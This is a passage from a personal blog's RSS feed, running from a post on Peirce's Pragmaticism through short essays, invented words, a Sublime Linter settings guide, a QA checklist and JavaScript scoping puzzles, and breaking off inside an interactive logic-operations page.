&lt;p>I find this confusing. In my reading about Pragmaticism, I never (or at least don&amp;rsquo;t recall having) ran into this concept of two, distinct meanings. In fact, this concept seems to fly in the face of what C. S. Peirce said in &lt;em>Illustrations of the Logic of Science&lt;/em>:&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;Our idea of anything is our idea of its sensible effects; and if we fancy that we have any other we deceive ourselves, and mistake a mere sensation accompanying the thought for a part of the thought itself.&amp;quot;&lt;sup>2&lt;/sup>&lt;/p>&lt;/blockquote>
&lt;aside class="marginnote">
&lt;span class="noteNumber">2&lt;/span> - &lt;a target="_blank" href="https://en.wikisource.org/wiki/Page%3APopular_Science_Monthly_Volume_12.djvu/307">Illustrations of the Logic of Science, 289&lt;/a>
&lt;/aside>
&lt;p>If &amp;ldquo;our idea of anything is our idea of its sensible effects&amp;rdquo; and the definition previously presented is correct, how can we even ascertain either of the two meanings presented in the definition (the one determined by pragmatism and the essential one)? If our concepts are only based on its &amp;ldquo;sensible effects&amp;rdquo;, then we would not be able to understand the essential meaning whose acceptance or denial would allow us to arrive at the meaning prescribed by Pragmaticism (and there may not even be an essential meaning).&lt;/p>
&lt;p>Granted, I could be misunderstanding Pragmaticism and/or the definition presented in the dictionary; it is also possible that the definition is not accurate. If you think I am wrong or have misunderstood something, I would love to &lt;a href="https://hightower.space/contact/">hear from you&lt;/a> to help me better understand Pragmaticism.&lt;/p></description></item><item><title>Playbook Friday Blogs</title><link>https://hightower.space/posts/tc-pb-friday-blog-posts/</link><pubDate>Wed, 24 Oct 2018 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/tc-pb-friday-blog-posts/</guid><description>&lt;p>The following playbooks have been featured in a ThreatConnect &amp;ldquo;Playbook Friday&amp;rdquo; blog post:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://threatconnect.com/blog/google-alerts-rss-reader/">https://threatconnect.com/blog/google-alerts-rss-reader/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://threatconnect.com/blog/robtex-asn-query-ip-query/">https://threatconnect.com/blog/robtex-asn-query-ip-query/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://threatconnect.com/blog/task-management/">https://threatconnect.com/blog/task-management/&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>GUI vs. UI</title><link>https://hightower.space/posts/gui-vs-ui/</link><pubDate>Wed, 05 Sep 2018 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/gui-vs-ui/</guid><description>&lt;p>I believe words are important.&lt;sup>1&lt;/sup> I recently caught myself saying something I consider dangerous for the way we think about computing and programming. I found my self saying &amp;ldquo;UI&amp;rdquo; (which is short for &amp;ldquo;User Interface&amp;rdquo;) to describe a &amp;ldquo;GUI&amp;rdquo; (a &amp;ldquo;Graphical User Interface&amp;rdquo;). UI is a broad category which encompasses multiple ways a user may interface with a system. A GUI is a specific instance of UI which relies on &amp;lsquo;visual metaphors&amp;rsquo; to communicate information to a user and allow the user to interact with the underlying system (the most ubiquitous example of a GUI is a website).&lt;/p>
&lt;aside class="marginnote">
&lt;span class="noteNumber">1&lt;/span> - I've started inventing my own words &lt;a href="https://hightower.space/thoughts/my-words/" target="_blank">here&lt;/a>
&lt;/aside>
&lt;p>When I use &amp;lsquo;UI&amp;rsquo; to describe a GUI, I&amp;rsquo;m limiting the definition of UI only to GUIs.&lt;sup>2&lt;/sup> Shrinking the definition of UI is dangerous because it makes it easy for us to forget about all of the other ways users interface with a system. A CLI (Command Line Interface) or API (Application Programming Interface) is just as much a UI as a GUI. All interfaces with a system should be as user-friendly as possible and the first step to accomplish this is to recognize all of the ways a user interfaces with a system.&lt;/p>
&lt;aside class="marginnote">
&lt;span class="noteNumber">2&lt;/span> - In this instance, "UI" is something that I call a &lt;a href="https://hightower.space/thoughts/my-words#Lamech" target="_blank">Lamech&lt;/a>
&lt;/aside></description></item><item><title>My Words</title><link>https://hightower.space/posts/my-words/</link><pubDate>Sun, 19 Aug 2018 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/my-words/</guid><description>&lt;p>The words we use open doors for us to think new thoughts. Personally, I agree with a weak hypothesis branch of the &lt;a href="https://en.wikipedia.org/wiki/Linguistic_relativity">Sapir–Whorf hypothesis&lt;/a> as supported by the &amp;ldquo;&lt;a href="http://www.pnas.org/content/104/19/7780">Russian blues&lt;/a>&amp;rdquo; experiment. Because I believe that words are powerful and I have noticed that our language does not have words for some ideas and things I would like to articulate, I have invented (sometimes stolen from other languages) the following words:&lt;/p>
&lt;h2 id="lachem">Lachem&lt;/h2>
&lt;p>&lt;em>Noun, the &amp;ldquo;ch&amp;rdquo; is a gutteral as in the word &amp;ldquo;loch&amp;rdquo;&lt;/em>: A member of a set whose name and/or characteristics (usually just the name) has come to described the whole set. For example, Kleenexes are a lachem because Kleenex is just one member of the set of all facial tissue brands, yet the name has come to characterize the entire set of facial tissues.&lt;/p>
&lt;h2 id="lamech">Lamech&lt;/h2>
&lt;p>&lt;em>Noun, the &amp;ldquo;ch&amp;rdquo; is a gutteral as in the word &amp;ldquo;loch&amp;rdquo;&lt;/em>: A member of a set to which the parent set is viewed as having shrunk. An example is the term &lt;a href="https://hightower.space/thoughts/gui-vs-ui/">&amp;lsquo;UI&amp;rsquo;&lt;/a>.&lt;/p>
&lt;h2 id="machem">Machem&lt;/h2>
&lt;p>&lt;em>Noun, the &amp;ldquo;ch&amp;rdquo; is a gutteral as in the word &amp;ldquo;loch&amp;rdquo;&lt;/em>: A member of a set which is viewed as being distinct from its parent set. For example, malware is a subset of computer programs, but malware is often viewed by the general public as distinct from &amp;rsquo;normal&amp;rsquo; computer programs. Therefore, malware could be called a machem.&lt;/p>
&lt;h2 id="suvia">Suvia&lt;/h2>
&lt;p>&lt;em>Noun&lt;/em>: A journey or travel in the rain.&lt;/p>
&lt;h2 id="solvia">Solvia&lt;/h2>
&lt;p>&lt;em>Noun&lt;/em>: A journey or travel in the direction of the sun (usually the setting sun).&lt;/p>
&lt;h2 id="parea">Parea&lt;/h2>
&lt;p>&lt;em>Noun&lt;/em>: Has the same meaning as the Greek word from which it is transliterated: a group of friends who gather to enjoy nothing else but sharing their life experiences, philosophies, values, and ideas.&lt;/p>
&lt;h2 id="egan">Egan&lt;/h2>
&lt;p>&lt;em>Noun&lt;/em>: One of your ideas which you find has already been described, accomplished, or articulated by someone else.&lt;/p>
&lt;p>&lt;em>Verb&lt;/em>: The act performed when someone describes, accomplishes, or articulates an idea that you had. For example, &amp;ldquo;She is going to &lt;em>egan&lt;/em> someone.&amp;rdquo; and &amp;ldquo;I have been &lt;em>eganed&lt;/em>!&amp;rdquo;.&lt;/p>
&lt;h2 id="nage">Nage&lt;/h2>
&lt;p>&lt;em>Noun, pronounced with a soft &amp;lsquo;g&amp;rsquo;&lt;/em>: The feeling when you realize that one of your ideas is an egan (see the two words above). This sensation is simultaneously an honor (because you had a good idea) and a disappointment (because the egan is already taken).&lt;/p>
&lt;h2 id="wouldings">Wouldings&lt;/h2>
&lt;p>&lt;em>Noun&lt;/em>: This word, invented by &lt;a href="https://hightower.space/tags/jonathan-edwards">Jonathan Edwards&lt;/a>, refers to &amp;ldquo;very weak inclinations which do not represent genuine convictions and do not issue in action&amp;rdquo;&lt;sup>&lt;a href="#footnote1">1&lt;/a>&lt;/sup>&lt;/p>
&lt;h2 id="bundling">Bundling&lt;/h2>
&lt;p>&lt;em>Verb&lt;/em>: The action performed when one wears clothing appropriate for the weather you would &lt;em>like&lt;/em> to have rather than the weather you actually have.&lt;/p>
&lt;h2 id="strofe">Strofe&lt;/h2>
&lt;p>&lt;em>Noun&lt;/em>: Derived from &amp;ldquo;&lt;strong>str&lt;/strong>anger &lt;strong>o&lt;/strong>n road &lt;strong>f&lt;/strong>requently &lt;strong>e&lt;/strong>ncountered&amp;rdquo; refers to a stranger that you keep seeing while traveling.&lt;/p>
&lt;h2 id="notes">Notes&lt;/h2>
&lt;p>&lt;a id="footnote1">1. &lt;/a>This quotation is taken from footnote #2 here: Edwards, Jonathan, Perry Miller, John E. Smith, and Harry S. Stout. &lt;em>The Works of Jonathan Edwards. Religious Affections&lt;/em>. New Haven: Yale University Press, 1966, 99.&lt;/p></description></item><item><title>Rome Wasn't Built in a Day</title><link>https://hightower.space/posts/great-things-take-time/</link><pubDate>Sat, 18 Aug 2018 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/great-things-take-time/</guid><description>&lt;p>I could say a lot on this subject, but for now, I&amp;rsquo;ll make this quick (which is ironic in light of the topic at hand). I believe that &lt;strong>doing things of great value takes time.&lt;/strong> This applies to software, research, education, business, relationships, sports, and every area of life. I experience this reality on a daily basis as my passion is writing software. Good software and powerful tools just take time to design, develop, and refine. For me, ideas often come in virtually instantaneous flashes of insight, but it takes a lot more time to make those ideas a reality and one has to be willing to invest time. One of the first things I tell anyone who asks me how to learn a programming language is that it will take time. Work like crazy and cover as much ground as you can, but realize that it will still take time. Even at a high velocity, it still takes light around 8 minutes to go from the sun to the earth. No matter how &amp;lsquo;fast&amp;rsquo; or &amp;lsquo;smart&amp;rsquo; you are, things of great value take time.&lt;/p>
&lt;p>To be clear, I&amp;rsquo;m not saying we should expect slowness or that we should acquiesce to broken processes which waste our time, but don&amp;rsquo;t go through life thinking you will accomplish great things overnight. Give it time! Rome wasn&amp;rsquo;t built in a day.&lt;/p></description></item><item><title>A Definitive Guide for Ignoring Sublime Linter Errors</title><link>https://hightower.space/posts/sublime-linter-ignore-guide/</link><pubDate>Wed, 15 Aug 2018 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/sublime-linter-ignore-guide/</guid><description>&lt;p>I found it very difficult to ignore &lt;a href="http://www.sublimelinter.com/en/stable/">sublime linter&lt;/a> errors in &lt;a href="https://www.sublimetext.com/">Sublime Text&lt;/a>, so this guide shows how to ignore these errors easily. If you have feedback, updates, or additions, please &lt;a href="https://hightower.space/contact/">let me know&lt;/a> (or &lt;a href="https://gitlab.com/fhightower/fhightower.gitlab.io/issues">raise an issue&lt;/a>).&lt;/p>
&lt;h3 id="ignoring-linter-errors">Ignoring Linter Errors&lt;/h3>
&lt;h4 id="example">Example&lt;/h4>
&lt;p>To ignore linter errors, open Sublime Text and navigate to &lt;em>Preferences &amp;gt; Package Settings &amp;gt; SublimeLinter &amp;gt; Settings&lt;/em>. This will open a Sublime Text window with the default sublime linter settings on the left and your user settings on the right. If you decide to make any changes, you&amp;rsquo;ll want to make them in the user settings (on the right). Below is an example of the content from my user settings:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#e7e9db;background-color:#2f1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#776e71">// SublimeLinter Settings - User
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#776e71">&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#5bc4bf">&amp;#34;lint_mode&amp;#34;&lt;/span>: &lt;span style="color:#48b685">&amp;#34;load_save&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#5bc4bf">&amp;#34;linters&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#5bc4bf">&amp;#34;pydocstyle&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#5bc4bf">&amp;#34;ignore&amp;#34;&lt;/span>: &lt;span style="color:#48b685">&amp;#34;D100,D101,D102,D103,D104,D105&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#5bc4bf">&amp;#34;pep8&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#5bc4bf">&amp;#34;ignore&amp;#34;&lt;/span>: &lt;span style="color:#48b685">&amp;#34;E501&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#5bc4bf">&amp;#34;flake8&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#5bc4bf">&amp;#34;args&amp;#34;&lt;/span>: [&lt;span style="color:#48b685">&amp;#34;--ignore=E501&amp;#34;&lt;/span>],
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="explanation">Explanation&lt;/h4>
&lt;p>Within the &lt;code>&amp;quot;linters&amp;quot;&lt;/code> key, I have the names of the linters followed by specific settings for each linter. For the &lt;code>&amp;quot;pydocstyle&amp;quot;&lt;/code> linter, I am telling it to ignore rules &lt;code>D100&lt;/code> through &lt;code>D105&lt;/code> which will not show warnings or errors for missing docstrings (the error codes for pydocstyle (formerly known as pep257) are &lt;a href="https://pep257.readthedocs.io/en/latest/error_codes.html">here&lt;/a>). For &lt;code>&amp;quot;pep8&amp;quot;&lt;/code>, I&amp;rsquo;m ignoring the 79 character limit (you can see the pep8 error codes &lt;a href="https://pep8.readthedocs.io/en/release-1.7.x/intro.html#error-codes">here&lt;/a>). And I&amp;rsquo;m doing the same for &lt;code>&amp;quot;flake8&amp;quot;&lt;/code> because it will show the line-length error as well.&lt;/p>
&lt;h4 id="summary">Summary&lt;/h4>
&lt;p>The principle described above should work for other linters as well. Just add the name of the linter and add the settings you would like to use. Please &lt;a href="https://hightower.space/contact/">let me know&lt;/a> if there is another linter you have worked with that you would like to me to add to my examples.&lt;/p>
&lt;p>Happy coding!&lt;/p></description></item><item><title>Let Your Ideas See the Light of Day</title><link>https://hightower.space/posts/light-of-day/</link><pubDate>Mon, 13 Aug 2018 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/light-of-day/</guid><description>&lt;p>It is a deeply held principle of mine that beliefs and ideas are strongest when they have been tested and exposed to the proverbial &amp;rsquo;light of day&amp;rsquo;. We have a tendency to cloister our beliefs and new ideas within the comfortable walls of our own minds. When we do this, we are missing out on the criticism, critique, and dialog that makes ideas powerful and robust.&lt;/p>
&lt;p>Ideas which are not exposed to the real world are like a cardboard box; they can withstand minimal pressure from certain directions, but are not ready to hold up the weight of careful scrutiny. Powerful, world-changing ideas are like gold or diamonds; they are formed by strenuous, uncomfortable processes over time. This is why I try to expose my ideas to the light of day rather than keeping them hidden in my mind. I want to think powerful, world-changing thoughts and I can&amp;rsquo;t do that on my own.&lt;/p></description></item><item><title>Questions for QA</title><link>https://hightower.space/posts/questions-for-qa/</link><pubDate>Wed, 25 Jul 2018 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/questions-for-qa/</guid><description>&lt;p>In doing QA-esque things for friends and coworkers, I have noticed that some people do not have a good sense of how to &amp;lsquo;QA&amp;rsquo; something. I compiled a short list of questions below that I ask myself.&lt;/p>
&lt;h2 id="testing-inputs">Testing Inputs&lt;/h2>
&lt;p>Does the system handle&lt;sup>1&lt;/sup>&amp;hellip;&lt;/p>
&lt;aside class="marginnote">
&lt;span class="noteNumber">1&lt;/span> - Defining the word "handle" can be tricky and the definition and standards change from project to project. In most projects, a system can be said to "handle" input well if it either works with the given input or fails gracefully (showing a helpful error message with instructions for fixing or avoiding the problem).
&lt;/aside>
&lt;h3 id="different-quantities">Different Quantities&lt;/h3>
&lt;ul>
&lt;li>a little input?&lt;/li>
&lt;li>a lot?&lt;/li>
&lt;li>A LOT?&lt;/li>
&lt;li>nothing?&lt;/li>
&lt;li>a &amp;rsquo;normal&amp;rsquo; amount?&lt;/li>
&lt;li>one value that is really short?&lt;/li>
&lt;li>one value that is really loooonnnnnnggggg?&lt;/li>
&lt;/ul>
&lt;h3 id="different-qualities">Different Qualities&lt;/h3>
&lt;ul>
&lt;li>something of a weird type?&lt;/li>
&lt;li>input that is already in the system?&lt;/li>
&lt;li>uppercase?&lt;/li>
&lt;li>lowercase?&lt;/li>
&lt;li>input with special characters (e.g. Unicode) in it?&lt;/li>
&lt;/ul>
&lt;h2 id="testing-workflows">Testing Workflows&lt;/h2>
&lt;ul>
&lt;li>go forward&lt;/li>
&lt;li>go backwards from each step&lt;/li>
&lt;li>go back-and-forth between steps&lt;/li>
&lt;/ul></description></item><item><title/><link>https://hightower.space/posts/leaves-for-money/</link><pubDate>Fri, 20 Jul 2018 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/leaves-for-money/</guid><description/></item><item><title>JavaScript Puzzles: How Well do you Know Javascript?</title><link>https://hightower.space/posts/javascript-puzzles/</link><pubDate>Thu, 05 Jul 2018 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/javascript-puzzles/</guid><description>&lt;p>Here are a couple of fun Javascript puzzles I&amp;rsquo;ve created/found to demonstrate important Javascript gotchas. There are answers/explanations near the bottom of the page.&lt;/p>
&lt;h2 id="puzzles">Puzzles&lt;/h2>
&lt;h3 id="variable-scoping">Variable Scoping&lt;/h3>
&lt;p>As I&amp;rsquo;m learning &lt;a href="https://www.typescriptlang.org/index.html">Typescript&lt;/a>, I was reading through the docs and ran across a fascinating little code snippet demonstrating &lt;a href="https://www.typescriptlang.org/docs/handbook/variable-declarations.html#variable-capturing-quirks">variable scoping gotchas&lt;/a> in javascript. The question was:&lt;/p>
&lt;p>What is the output of the code below?&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#e7e9db;background-color:#2f1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#815ba4">for&lt;/span> (&lt;span style="color:#815ba4">var&lt;/span> &lt;span style="color:#06b6ef">i&lt;/span> &lt;span style="color:#5bc4bf">=&lt;/span> &lt;span style="color:#f99b15">0&lt;/span>; &lt;span style="color:#06b6ef">i&lt;/span> &lt;span style="color:#5bc4bf">&amp;lt;&lt;/span> &lt;span style="color:#f99b15">10&lt;/span>; &lt;span style="color:#06b6ef">i&lt;/span>&lt;span style="color:#5bc4bf">++&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#06b6ef">setTimeout&lt;/span>(&lt;span style="color:#815ba4">function&lt;/span>() { &lt;span style="color:#06b6ef">console&lt;/span>.&lt;span style="color:#06b6ef">log&lt;/span>(&lt;span style="color:#06b6ef">i&lt;/span>); }, &lt;span style="color:#f99b15">100&lt;/span> &lt;span style="color:#5bc4bf">*&lt;/span> &lt;span style="color:#06b6ef">i&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;em>Think about it and check your &lt;a href="#variable-scoping-answer">answer&lt;/a> below.&lt;/em>&lt;/p>
&lt;h3 id="indexing-an-objects-properties">Indexing an Object&amp;rsquo;s Properties&lt;/h3>
&lt;p>I came up with this puzzle to demonstrate the difference between accessing the value of an Object using a dot versus using brackets (e.g. &lt;code>data[&amp;quot;test&amp;quot;]&lt;/code> vs. &lt;code>data.test&lt;/code>).&lt;/p>
&lt;p>What is the output of the code block below?&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#e7e9db;background-color:#2f1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#815ba4">var&lt;/span> &lt;span style="color:#06b6ef">data&lt;/span> &lt;span style="color:#5bc4bf">=&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f99b15">0&lt;/span>&lt;span style="color:#5bc4bf">:&lt;/span> &lt;span style="color:#48b685">&amp;#34;zero&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#06b6ef">i&lt;/span>&lt;span style="color:#5bc4bf">:&lt;/span> &lt;span style="color:#48b685">&amp;#34;eye&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>};
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#815ba4">for&lt;/span> (&lt;span style="color:#815ba4">var&lt;/span> &lt;span style="color:#06b6ef">i&lt;/span> &lt;span style="color:#5bc4bf">=&lt;/span> &lt;span style="color:#f99b15">0&lt;/span>; &lt;span style="color:#06b6ef">i&lt;/span> &lt;span style="color:#5bc4bf">&amp;lt;&lt;/span> &lt;span style="color:#f99b15">1&lt;/span>; &lt;span style="color:#06b6ef">i&lt;/span>&lt;span style="color:#5bc4bf">++&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#06b6ef">console&lt;/span>.&lt;span style="color:#06b6ef">log&lt;/span>(&lt;span style="color:#06b6ef">data&lt;/span>[&lt;span style="color:#06b6ef">i&lt;/span>]);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#06b6ef">console&lt;/span>.&lt;span style="color:#06b6ef">log&lt;/span>(&lt;span style="color:#06b6ef">data&lt;/span>.&lt;span style="color:#06b6ef">i&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;em>Think about it and check your &lt;a href="#indexing-an-object-s-properties-answer">answer&lt;/a> below.&lt;/em>&lt;/p>
&lt;hr>
&lt;h2 id="answers">Answers&lt;/h2>
&lt;h3 id="variable-scoping-answer">Variable Scoping Answer&lt;/h3>
&lt;p>Most people expect, as did I, that this code would output:&lt;/p>
&lt;pre tabindex="0">&lt;code>0
1
2
3
4
5
6
7
8
9
&lt;/code>&lt;/pre>&lt;p>when in fact, the output is:&lt;/p>
&lt;pre tabindex="0">&lt;code>10
10
10
10
10
10
10
10
10
10
&lt;/code>&lt;/pre>&lt;p>This occurs because the &lt;code>setTimeout&lt;/code> function will not run until the for loop has finished. By the time the for loop has finished, the value of variable &lt;code>i&lt;/code> is 10. Each of the functions called by the &lt;code>setTimeout&lt;/code> function is looking at the same &lt;code>i&lt;/code> from the same scope, so they all log &lt;code>10&lt;/code>.&lt;/p>
&lt;h3 id="indexing-an-objects-properties-answer">Indexing an Object&amp;rsquo;s Properties Answer&lt;/h3>
&lt;p>The output of this code puzzle is:&lt;/p>
&lt;pre tabindex="0">&lt;code>zero
eye
&lt;/code>&lt;/pre>&lt;p>This occurs because the first, and only, time through the for loop the value of &lt;code>i&lt;/code> is 0 (zero). When I call &lt;code>console.log(data[i]);&lt;/code>, javascript starts inside the brackets by getting the value of &lt;code>i&lt;/code> (which is 0). Thus, the first logging is equivalent to saying &lt;code>console.log(data.0);&lt;/code> and outputs &amp;lsquo;zero&amp;rsquo;.&lt;/p>
&lt;p>In the second logging (&lt;code>console.log(data.i);&lt;/code>), javascript does not get the value of &lt;code>i&lt;/code>, but instead treats &amp;ldquo;i&amp;rdquo; as a literal key. Thus, this is equivalent to saying &lt;code>console.log(data[&amp;quot;i&amp;quot;]);&lt;/code> which outputs &amp;rsquo;eye'.&lt;/p>
&lt;p>Give these puzzles to your friends and enjoy as they over-think them and second-guess themselves!&lt;/p></description></item><item><title>Logic Operations</title><link>https://hightower.space/posts/logic_operations/</link><pubDate>Fri, 15 Jun 2018 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/logic_operations/</guid><description>&lt;div id="idyll-mount">&lt;div data-reactroot="">&lt;div class="idyll-root">&lt;div style="max-width:600px;margin:0 0 0 50px" class=" idyll-text-container">&lt;div style="position:relative;z-index:1;pointer-events:none;transition:background 0.5s;min-height:75vh">&lt;div style="position:relative;z-index:1;pointer-events:none;transition:background 0.5s;min-height:75vh;margin-left:0;margin-right:0">&lt;div style="flex-direction:row;display:flex;height:100%">&lt;div style="display:flex;flex:0.5">&lt;/div>&lt;div style="align-self:center;pointer-events:all" class="screen-content">&lt;h1>NOT&lt;/h1>&lt;div class="aside-container">&lt;div class="aside">&lt;p>
A: &lt;span idyll="[object Object]" class="idyll-action">&lt;input type="checkbox" value="false"/>&lt;/span> &lt;span>0.00&lt;/span>&lt;/p>&lt;p>B: &lt;span idyll="[object Object]" class="idyll-action">&lt;input type="checkbox" value="false"/>&lt;/span> &lt;span>0.00&lt;/span>&lt;/p>&lt;/div>&lt;/div>&lt;p>=&lt;span style="display:inline-block">&lt;span> &lt;span class="katex">&lt;span class="katex-mathml">&lt;math>&lt;semantics>&lt;mrow>&lt;mn>1&lt;/mn>&lt;mo>−&lt;/mo>&lt;mi>A&lt;/mi>&lt;/mrow>&lt;annotation encoding="application/x-tex">1 - A&lt;/annotation>&lt;/semantics>&lt;/math>&lt;/span>&lt;span class="katex-html" aria-hidden="true">&lt;span class="strut" style="height:0.68333em;">&lt;/span>&lt;span class="strut bottom" style="height:0.76666em;vertical-align:-0.08333em;">&lt;/span>&lt;span class="base">&lt;span class="mord">1&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">−&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mord mathit">A&lt;/span>&lt;/span>&lt;/span>&lt;/span> &lt;/span>&lt;/span>&lt;/p>&lt;p>= 1 - &lt;span>0.00&lt;/span>&lt;/p>&lt;p>= &lt;span>1.00&lt;/span>&lt;/p>&lt;/div>&lt;div style="display:flex;flex:0.5">&lt;/div>&lt;/div>&lt;/div>&lt;/div>&lt;div style="position:relative;z-index:1;pointer-events:none;transition:background 0.5s;min-height:75vh">&lt;div style="position:relative;z-index:1;pointer-events:none;transition:background 0.5s;min-height:75vh;margin-left:0;margin-right:0">&lt;div style="flex-direction:row;display:flex;height:100%">&lt;div style="display:flex;flex:0.5">&lt;/div>&lt;div style="align-self:center;pointer-events:all" class="screen-content">&lt;h1>AND&lt;/h1>&lt;div class="aside-container">&lt;div class="aside">&lt;p>
A: &lt;span idyll="[object Object]" class="idyll-action">&lt;input type="checkbox" value="false"/>&lt;/span> &lt;span>0.00&lt;/span>&lt;/p>&lt;p>B: &lt;span idyll="[object Object]" class="idyll-action">&lt;input type="checkbox" value="false"/>&lt;/span> &lt;span>0.00&lt;/span>&lt;/p>&lt;/div>&lt;/div>&lt;p>=&lt;span style="display:inline-block">&lt;span> &lt;span class="katex">&lt;span class="katex-mathml">&lt;math>&lt;semantics>&lt;mrow>&lt;mi>A&lt;/mi>&lt;mo>∗&lt;/mo>&lt;mi>B&lt;/mi>&lt;/mrow>&lt;annotation encoding="application/x-tex">A * B&lt;/annotation>&lt;/semantics>&lt;/math>&lt;/span>&lt;span class="katex-html" aria-hidden="true">&lt;span class="strut" style="height:0.68333em;">&lt;/span>&lt;span class="strut bottom" style="height:0.68333em;vertical-align:0em;">&lt;/span>&lt;span class="base">&lt;span class="mord mathit">A&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">∗&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mord mathit" style="margin-right:0.05017em;">B&lt;/span>&lt;/span>&lt;/span>&lt;/span> &lt;/span>&lt;/span>&lt;/p>&lt;p>=&lt;span>0.00&lt;/span> *&lt;span>0.00&lt;/span>&lt;/p>&lt;p>=&lt;span>0.00&lt;/span>&lt;/p>&lt;/div>&lt;div style="display:flex;flex:0.5">&lt;/div>&lt;/div>&lt;/div>&lt;/div>&lt;div style="position:relative;z-index:1;pointer-events:none;transition:background 0.5s;min-height:75vh">&lt;div style="position:relative;z-index:1;pointer-events:none;transition:background 0.5s;min-height:75vh;margin-left:0;margin-right:0">&lt;div style="flex-direction:row;display:flex;height:100%">&lt;div style="display:flex;flex:0.5">&lt;/div>&lt;div style="align-self:center;pointer-events:all" class="screen-content">&lt;h1>NAND&lt;/h1>&lt;div class="aside-container">&lt;div class="aside">&lt;p>
A: &lt;span idyll="[object Object]" class="idyll-action">&lt;input type="checkbox" value="false"/>&lt;/span> &lt;span>0.00&lt;/span>&lt;/p>&lt;p>B: &lt;span idyll="[object Object]" class="idyll-action">&lt;input type="checkbox" value="false"/>&lt;/span> &lt;span>0.00&lt;/span>&lt;/p>&lt;/div>&lt;/div>&lt;p>=&lt;span style="display:inline-block">&lt;span> &lt;span class="katex">&lt;span class="katex-mathml">&lt;math>&lt;semantics>&lt;mrow>&lt;mn>1&lt;/mn>&lt;mo>−&lt;/mo>&lt;mo>(&lt;/mo>&lt;mi>A&lt;/mi>&lt;mo>∗&lt;/mo>&lt;mi>B&lt;/mi>&lt;mo>)&lt;/mo>&lt;/mrow>&lt;annotation encoding="application/x-tex">1 - (A * B)&lt;/annotation>&lt;/semantics>&lt;/math>&lt;/span>&lt;span class="katex-html" aria-hidden="true">&lt;span class="strut" style="height:0.75em;">&lt;/span>&lt;span class="strut bottom" style="height:1em;vertical-align:-0.25em;">&lt;/span>&lt;span class="base">&lt;span class="mord">1&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mbin">−&lt;/span>&lt;span class="mord rule" style="margin-right:0.2222222222222222em;">&lt;/span>&lt;span class="mopen">(&lt;/span>&lt;span class="mord mathit">A&lt;/span>&lt;span class="mord rule" 